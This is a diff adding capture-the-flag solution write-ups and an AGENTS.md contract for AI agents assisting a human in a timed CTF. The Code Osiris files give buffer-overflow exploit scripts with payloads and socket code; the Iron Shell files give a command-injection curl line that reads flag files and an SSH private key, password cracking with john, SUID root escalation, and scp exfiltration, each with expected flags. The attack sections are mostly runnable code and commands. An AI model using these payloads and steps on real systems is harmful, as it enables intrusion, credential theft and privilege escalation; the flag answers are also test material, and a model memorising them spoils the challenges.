+BINARY = "./code_osiris_v2"
+OFFSET = 152
+SECRET = 0x401397
+
+payload = b"A"*OFFSET + struct.pack("<Q", SECRET)
+proc = subprocess.run([BINARY], input=payload, capture_output=True, timeout=3)
+print(proc.stdout.decode(errors="ignore") + proc.stderr.decode(errors="ignore"))
+~~~~
+
+
+Expected Output
+---------------
+
+~~~~
+TOKEN2: PCCC{PuJN-0294}
+~~~~
2026-01-11-PC07/code-osiris/TOKEN3.md
@@ -0,0 +1,75 @@
+Code Osiris – TOKEN3
+====================
+
+Target: Code Osiris Remote Trainer (`lab2.yara.hq:9999`)
+
+
+Background
+----------
+
+The trainer emulates the earlier buffer overflow. Sending exactly 201 filler
+bytes, 4 NOPs, then `0xdeadbeef` as the crash address satisfies the challenge
+and returns the token.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Connect and issue `HELP` to learn the rules (`BOF` command expects the exploit).
+2.  Build payload: `b'A'*201 + b'\x90\x90\x90\x90' + p32(0xdeadbeef)`.
+3.  Send it via `BOF`; the service acknowledges the crafted EIP and prints the
+    token.
+
+
+Command
+-------
+
+Save and run as `python3 token3_exploit.py`.
+
+~~~~ python
+#!/usr/bin/env python3
+# token3_exploit.py
+import socket, struct
+
+HOST, PORT = "lab2.yara.hq", 9999
+
+def recv_until(sock, marker):
+    data = b""
+    while marker not in data:
+        chunk = sock.recv(1024)
+        if not chunk:
+            break
+        data += chunk
+    return data
+
+s = socket.socket()
+s.settimeout(10)
+s.connect((HOST, PORT))
+print(recv_until(s, b'> ').decode(errors="ignore"))
+s.sendall(b'BOF\n')
+print(recv_until(s, b'> ').decode(errors="ignore"))
+
+payload = b"A"*201 + b"\x90"*4 + struct.pack("<I", 0xdeadbeef)
+print(f"Sending {len(payload)} bytes")
+s.sendall(payload + b"\n")
+
+resp = b""
+try:
+    while True:
+        chunk = s.recv(1024)
+        if not chunk:
+            break
+        resp += chunk
+except Exception:
+    pass
+print(resp.decode(errors="ignore"))
+s.close()
+~~~~
+
+
+Expected Output
+---------------
+
+~~~~
+PCCC{jOGP-6960}
+~~~~
2026-01-11-PC07/code-osiris/TOKEN4.md
@@ -0,0 +1,80 @@
+Code Osiris – TOKEN4
+====================
+
+Target: ABYSSNET (`abyssnet.dbs:9999`)
+
+
+Background
+----------
+
+The ABYSSNET launch terminal mirrors the trainer, but expects the magic auth
+`SALT` (`0x544c4153`). Overflowing the LAUNCH prompt with 32 filler bytes, 4
+NOPs, and `SALT` bypasses the gate and prints the final token.
+
+
+From Nothing to Working
+-----------------------
+
+1.  Connect and choose `LAUNCH` to reach the code entry prompt.
+2.  Craft payload: `b'A'*32 + b'\x90\x90\x90\x90' + p32(0x544c4153)` (the ASCII for
+    `SALT`).
+3.  Submit payload; the terminal accepts the launch code and returns TOKEN4.
+
+
+Command
+-------
+
+Save and run as `python3 token4_exploit.py`.
+
+~~~~ python
+#!/usr/bin/env python3
+# token4_exploit.py
+import socket, struct, time
+
+HOST, PORT = "abyssnet.dbs", 9999
+SALT = struct.pack("<I", 0x544c4153)
+
+def recv_until(sock, marker):
+    data = b""
+    while marker not in data:
+        chunk = sock.recv(1024)
+        if not chunk:
+            break
+        data += chunk
+    return data
+
+s = socket.socket()
+s.settimeout(10)
+s.connect((HOST, PORT))
+print(recv_until(s, b'> ').decode(errors="ignore"))
+
+s.sendall(b'LAUNCH\n')
+time.sleep(0.5)
+print(recv_until(s, b':').decode(errors="ignore"))
+
+payload = b"A"*32 + b"\x90"*4 + SALT
+print(f"Sending {len(payload)} bytes")
+s.sendall(payload + b"\n")
+
+time.sleep(1)
+resp = b""
+try:
+    s.settimeout(5)
+    while True:
+        chunk = s.recv(4096)
+        if not chunk:
+            break
+        resp += chunk
+except Exception:
+    pass
+print(resp.decode(errors="ignore"))
+s.close()
+~~~~
+
+
+Expected Output
+---------------
+
+~~~~
+PCCC{CjEx-8843}
+~~~~
2026-01-11-PC07/the-iron-shell/README.md
@@ -0,0 +1,119 @@
+The Iron Shell
+==============
+
+NICE Work Roles
+---------------
+
+ -  [Cyber Defense Penetration Tester]
+
+[Cyber Defense Penetration Tester]: https://niccs.cisa.gov/workforce-development/nice-framework/
+
+
+NICE Tasks
+----------
+
+ -  **T0047**: Conduct vulnerability scans and recognize vulnerabilities in
+    security systems.
+ -  **T0231**: Perform penetration testing as required.
+ -  **T0293**: Analyze encrypted data, encrypted traffic, or cryptographic
+    certificates.
+ -  **T0697**: Exploit system vulnerabilities to elevate privileges.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Background
+----------
+
+You are a hired hacker whose job is to attack a target within an office
+environment. You have been given access to the network and must locate the
+machine, enumerate it for vulnerabilities, and exploit it to gain root access.
+
+If you are too loud, you will be kicked from the target and must restart your
+instance.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Getting Started
+---------------
+
+You have **four objectives**:
+
+1.  Enumerate and exploit an exposed web portal.
+    You know there is an entry point at `/ping`.
+
+2.  Crack `ssh` credentials of a user on the machine.
+    If using tools such as `john`, you **must** set:
+
+    ~~~~
+    OMP_NUM_THREADS=16
+    ~~~~
+
+    Using more than `16` threads will cause stability issues in the environment.
+
+3.  Gain root access to the machine.
+
+4.  Exfiltrate sensitive files without tripping any alarms.
+
+You are provided with a `wordlist.txt` file located at:
+
+~~~~
+http://grader/wordlist
+~~~~
+
+To submit the cracked SSH credentials, navigate to:
+
+~~~~
+http://grader/
+~~~~
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+System and Tool Credentials
+---------------------------
+
+| system / tool | username | password |
+| ------------- | -------- | -------- |
+| kali          | user     | password |
+| `target`      | TBD      | TBD      |
+| `grader`      | N/A      | N/A      |
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 1 – Web Portal Exploit Flag (624 points)
+-------------------------------------------------
+
+Exploit the exposed web portal and retrieve the flag.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 2 – SSH Credential Submission Flag (624 points)
+--------------------------------------------------------
+
+Submit the cracked SSH credentials.
+
+> Reminder: Use `OMP_NUM_THREADS=16` when running tools like `john`.
+> Exceeding this value will cause instability.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 3 – Root Access Flag (936 points)
+------------------------------------------
+
+Gain root access to the target system and retrieve the flag.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
+
+
+Question 4 – Sensitive File Flag (936 points)
+---------------------------------------------
+
+Exfiltrate sensitive files without triggering alarms and retrieve the final
+flag.
+
+   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
2026-01-11-PC07/the-iron-shell/TOKEN1.md
@@ -0,0 +1,56 @@
+The Iron Shell - TOKEN1
+=======================
+
+Base URL: `http://target:8000`
+
+
+Background
+----------
+
+The `/ping` endpoint shells out to `ping` using the `ip` parameter without
+proper sanitization, enabling command injection.
+
+
+From Nothing to Working
+-----------------------
+
+Start point: the challenge note only says there is an entry point at `/ping`.
+
+Iterations:
+
+1.  Hit `/ping` directly to confirm the endpoint exists and responds.
+2.  Supply a normal IP value to confirm it performs a ping.
+3.  Append `;id` to `ip=` to verify command injection and observe `uid=1000(user)`.
+4.  Use the same injection to read the flag file with `cat`, which returns the
+    token.
+
+
+Goal
+----
+
+Exploit the `/ping` command injection to read the flag.
+
+
+Command
+-------
+
+~~~~ sh
+curl -s "http://target:8000/ping?ip=127.0.0.1;cat+/home/user/flag1.txt"
+~~~~
+
+
+Expected Output
+---------------
+
+Look for:
+
+~~~~
+PCCC{flag1_CC_7380}
+~~~~
+
+
+Learn More
+----------
+
+ -  https://owasp.org/www-community/attacks/Command\_Injection
+ -  https://cwe.mitre.org/data/definitions/78.html
2026-01-11-PC07/the-iron-shell/TOKEN2.md
@@ -0,0 +1,75 @@
+The Iron Shell - TOKEN2
+=======================
+
+Base URL: `http://target:8000`
+
+
+Background
+----------
+
+SSH is exposed on the target. The task is to recover valid SSH credentials
+using the provided wordlist and submit them to the grader.
+
+
+From Nothing to Working
+-----------------------
+
+Start point: only the `/ping` entry point and a wordlist URL are provided.
+
+Iterations:
+
+1.  Use `/ping` command injection to read user files and identify an SSH private
+    key.
+2.  Extract the key (encrypted) and save it locally as `id_rsa`.
+3.  Convert the key to a John hash with `ssh2john` and crack it using the provided
+    wordlist (with `OMP_NUM_THREADS=16`).
+4.  Submit the recovered username/password to `http://grader/` and receive the
+    token.
+
+
+Goal
+----
+
+Crack SSH credentials and submit them to the grader.
+
+
+Commands
+--------
+
+Extract the key:
+
+~~~~ sh
+curl -s "http://target:8000/ping?ip=127.0.0.1;cat+/home/user/.ssh/id_rsa" > id_rsa
+chmod 600 id_rsa
+~~~~
+
+Crack the passphrase:
+
+~~~~ sh
+ssh2john id_rsa > id_rsa.john
+OMP_NUM_THREADS=16 john --wordlist=wordlist.txt id_rsa.john
+~~~~
+
+Submit to grader (use the cracked values):
+
+~~~~ sh
+curl -s -X POST http://grader/ \
+  -d "username=USER" -d "password=PASS"
+~~~~
+
+
+Expected Output
+---------------
+
+Look for:
+
+~~~~
+PCCC{flag2_99_7478}
+~~~~
+
+
+Learn More
+----------
+
+ -  https://owasp.org/www-community/attacks/Password\_cracking
+ -  https://cwe.mitre.org/data/definitions/522.html
2026-01-11-PC07/the-iron-shell/TOKEN3.md
@@ -0,0 +1,66 @@
+The Iron Shell - TOKEN3
+=======================
+
+Base URL: `http://target:8000`
+
+
+Background
+----------
+
+A misconfigured SUID binary (`/usr/local/bin/rootme`) allows privilege
+escalation to root.
+
+
+From Nothing to Working
+-----------------------
+
+Start point: you have user-level access after cracking SSH credentials.
+
+Iterations:
+
+1.  From the `/ping` injection, run `find / -perm -4000 -type f` to list SUID
+    binaries.
+2.  Notice `/usr/local/bin/rootme` is SUID root.
+3.  Execute `rootme` with preserved privileges (`-p`) to obtain a root shell.
+4.  Read the root flag and capture the token.
+
+
+Goal
+----
+
+Gain root access and retrieve the root flag.
+
+
+Commands
+--------
+
+Find SUID targets (from the web injection):
+
+~~~~ sh
+curl -s "http://target:8000/ping?ip=127.0.0.1;find+/+-perm+-4000+-type+f"
+~~~~
+
+Escalate after SSH login:
+
+~~~~ sh
+ssh user@target
+/usr/local/bin/rootme -p
+cat /root/flag3.txt
+~~~~
+
+
+Expected Output
+---------------
+
+Look for:
+
+~~~~
+PCCC{flag3_41_6572}
+~~~~
+
+
+Learn More
+----------
+
+ -  https://owasp.org/www-community/attacks/Privilege\_Escalation
+ -  https://cwe.mitre.org/data/definitions/250.html
2026-01-11-PC07/the-iron-shell/TOKEN4.md
@@ -0,0 +1,67 @@
+The Iron Shell - TOKEN4
+=======================
+
+Base URL: `http://target:8000`
+
+
+Background
+----------
+
+The final task is to exfiltrate a sensitive executable (`flag.txt`) without
+tripping alarms. To avoid running it on the target, base64 it, copy it
+off-host, then execute locally to reveal the token.
+
+
+From Nothing to Working
+-----------------------
+
+Start point: root access is already available from the previous step.
+
+Iterations:
+
+1.  Locate the sensitive file (`flag.txt`) and note it is executable (`rwx------`).
+2.  Base64-encode it to avoid executing it on the target.
+3.  `scp` the encoded blob, decode locally, then run the binary to print the token.
+
+
+Goal
+----
+
+Safely exfiltrate the sensitive file and run it off-host to obtain the token.
+
+
+Commands
+--------
+
+On target (as root):
+
+~~~~ sh
+ls -l flag.txt
+base64 flag.txt > /tmp/flag.txt.b64
+~~~~
+
+Copy off-host and decode locally:
+
+~~~~ sh
+scp root@target:/tmp/flag.txt.b64 .
+base64 -d flag.txt.b64 > flag.txt
+chmod +x flag.txt
+./flag.txt
+~~~~
+
+
+Expected Output
+---------------
+
+Look for:
+
+~~~~
+PCCC{flag4_17_0727}
+~~~~
+
+
+Learn More
+----------
+
+ -  https://owasp.org/Top10/A02\_2021-Cryptographic\_Failures/
+ -  https://cwe.mitre.org/data/definitions/200.html
2026-01-11-PC07/AGENTS.md
@@ -0,0 +1,295 @@
+AGENTS.md
+=========
+
+This document defines the operating contract for **all AI agents** assisting in
+this Capture-The-Flag (CTF) event.
+
+The CTF is **time-limited (4 hours)**, has **limited internet access**, and is
+intentionally scoped. Agents must prioritize **decisive action**, **literal
+interpretation of instructions**, and **fast iteration** over exploration.
+
+
+Mission
+-------
+
+You are assisting a human operator in solving CTF challenges under time
+pressure.
+
+ -  Assume challenges are **honest and complete as written**
+ -  **Do not enumerate or explore** beyond what is explicitly instructed
+ -  Favor **direct solutions** over discovery
+ -  The human operator is the **sole executor** inside the challenge environment
+
+
+Operating Model
+---------------
+
+### Out-of-Band Execution
+
+ -  Agents **do not run inside the CTF environment**
+
+ -  All commands, scripts, and tools must be:
+
+     -  **Copy-pasteable**
+     -  Runnable in **Kali Linux**
+
+ -  The **user acts as the bridge**:
+
+     -  Executes commands
+     -  Returns outputs
+     -  Pastes artifacts back to the agent
+
+
+Decision Bias
+-------------
+
+**Act decisively.**
+
+ -  If something is ambiguous, make a reasonable assumption and proceed
+ -  State assumptions briefly when they matter
+ -  Backtracking is acceptable; hesitation is not
+
+
+Interpretation Rules
+--------------------
+
+ -  Follow challenge instructions **literally**
+ -  Use **standard domain tooling** where obvious (e.g., pcap → Wireshark/tshark)
+ -  **Do not broaden scope** unless explicitly blocked by missing artifacts or
+    malformed data
+ -  Enumeration, brute force, scanning, or fuzzing is **forbidden unless the
+    challenge says to do so**
+
+
+Communication Style
+-------------------
+
+Agents must communicate with **concise reasoning**:
+
+ -  What is being done
+ -  Why (1–3 sentences)
+ -  The next concrete action
+
+Avoid:
+
+ -  Pedagogy
+ -  Long explanations
+ -  Internal monologues
+
+
+Modes of Operation
+------------------
+
+Agents operate in **one of two modes**.
+**The mode must be provided explicitly in user text at startup.**
+
+> If no mode is provided, the agent **must stop and ask for it**.
+
+### Mode: User-Aid
+
+Purpose: Assist the user directly during active work.
+
+Characteristics:
+
+ -  Short, actionable steps
+ -  Single commands or small sequences
+ -  Immediate feedback loops
+
+Typical output:
+
+ -  “Run this command”
+ -  “Look for this marker”
+ -  “Paste the output back”
+
+### Mode: Self-Directed
+
+Purpose: Allow the agent to work **in parallel** while the user focuses
+elsewhere.
+
+Characteristics:
+
+ -  Agent works ahead independently
+ -  Produces **runnable scripts or Go programs**
+ -  Minimizes round-trips
+
+#### Self-Directed Mode Requirements (Hard Rules)
+
+Agents **must**:
+
+1.  Produce **runnable artifacts** (scripts, Go files), not just suggestions
+
+2.  Clearly **annotate expected output**
+
+     -  What the user should extract or return
+
+3.  **Batch work** to reduce interaction overhead
+
+4.  **Fail loudly and informatively**
+
+     -  Clear error messages
+     -  Obvious exit points
+
+5.  Emit **copy-friendly output**
+
+     -  Token-shaped values
+     -  Easy clipboard extraction
+
+Typical workflow:
+
+ -  Agent builds a script
+ -  User executes it in the environment
+ -  Script prints or copies results
+ -  User pastes results back
+ -  Agent continues solving
+
+
+Parallelism
+-----------
+
+ -  Agents operate with **blind parallelism**
+ -  No coordination, locking, or ownership protocol
+ -  The user is the only global coordinator
+
+Agents should not hesitate due to possible overlap.
+
+
+Completion Criteria
+-------------------
+
+An agent must stop working when:
+
+1.  **A valid token is produced**
+
+     -  Matches the expected format exactly
+
+2.  **Progress is blocked due to missing requirements**
+
+     -  Missing artifact
+     -  Malformed input
+     -  Contradictory instructions
+
+When blocked:
+
+ -  Clearly state **what is missing**
+ -  State **what would be needed to continue**
+ -  Then stop
+
+Agents must **not** thrash, speculate endlessly, or attempt unrelated
+techniques.
+
+
+Environment Constraints
+-----------------------
+
+### Kali Linux
+
+ -  Commands must be compatible with Kali
+
+ -  X11 is available
+
+ -  Clipboard access:
+
+     -  noVNC uses the **primary selection**
+
+     -  Import with:
+
+        ~~~~ sh
+        xclip -o
+        ~~~~
+
+     -  Export with:
+
+        ~~~~ sh
+        xclip -i
+        ~~~~
+
+### Golang
+
+ -  Go version: **1.25.1**
+
+ -  Only **standard library + provided modules** may be used
+
+ -  Available modules are listed in **Appendix: Golang Modules**
+
+ -  Go programs must:
+
+     -  Be single-file when possible
+     -  Avoid unnecessary dependencies
+     -  Print results plainly
+
+
+Provided Documents
+------------------
+
+For each challenge, the user will supply:
+
+ -  A challenge directory: `{challenge-number}/`
+ -  `README.md` with full challenge text
+ -  `artifacts/` directory with extracted materials
+
+Agents must treat these as **authoritative**.
+
+
+Prohibited Actions
+------------------
+
+Agents must not:
+
+ -  Enumerate networks, filesystems, or services unless instructed
+ -  Attack infrastructure beyond provided artifacts
+ -  Assume hidden objectives
+ -  Rely on internet access within the CTF environment
+    - The user's system and the agent itself will have internet
+
+
+Appendix: Local Golang Modules
+------------------------------
+
+~~~~
+/home/user/go/pkg/mod/github.com/
+├── agext/levenshtein@v1.2.2
+├── apparentlymart/go-textseg
+├── fatih/color@v1.16.0
+├── golang/protobuf@v1.5.4
+├── google/go-cmp@v0.7.0
+├── hashicorp/go-cty@v1.5.0
+├── hashicorp/go-hclog@v1.6.3
+├── hashicorp/go-plugin@v1.7.0
+├── hashicorp/go-uuid@v1.0.3
+├── hashicorp/go-version@v1.7.0
+├── hashicorp/hcl
+├── hashicorp/logutils@v1.0.0
+├── hashicorp/terraform-plugin-go@v0.29.0
+├── hashicorp/terraform-plugin-log@v0.9.0
+├── hashicorp/terraform-plugin-sdk
+├── hashicorp/terraform-plugin-sdk@v1.17.2
+├── hashicorp/terraform-registry-address@v0.4.0
+├── hashicorp/terraform-svchost@v0.1.1
+├── hashicorp/yamux@v0.1.2
+├── mattn/go-colorable@v0.1.13
+├── mattn/go-isatty@v0.0.20
+├── mitchellh/copystructure@v1.2.0
+├── mitchellh/go-testing-interface@v1.14.1
+├── mitchellh/go-wordwrap@v1.0.1
+├── mitchellh/mapstructure@v1.5.0
+├── mitchellh/reflectwalk@v1.0.2
+├── oklog/run@v1.1.0
+├── vmihailenco/msgpack
+├── vmihailenco/msgpack@v4.0.4+incompatible
+├── vmihailenco/tagparser
+└── zclconf/go-cty@v1.17.0
+
+/home/user/go/pkg/mod/google.golang.org/
+├── appengine@v1.6.8
+├── genproto
+├── grpc@v1.75.1
+└── protobuf@v1.36.9
+
+/home/user/go/pkg/mod/golang.org/x/
+├── mod@v0.27.0
+├── net@v0.43.0
+├── sync@v0.17.0
+├── sys@v0.36.0
+├── text@v0.29.0
+└── tools@v0.36.0
+~~~~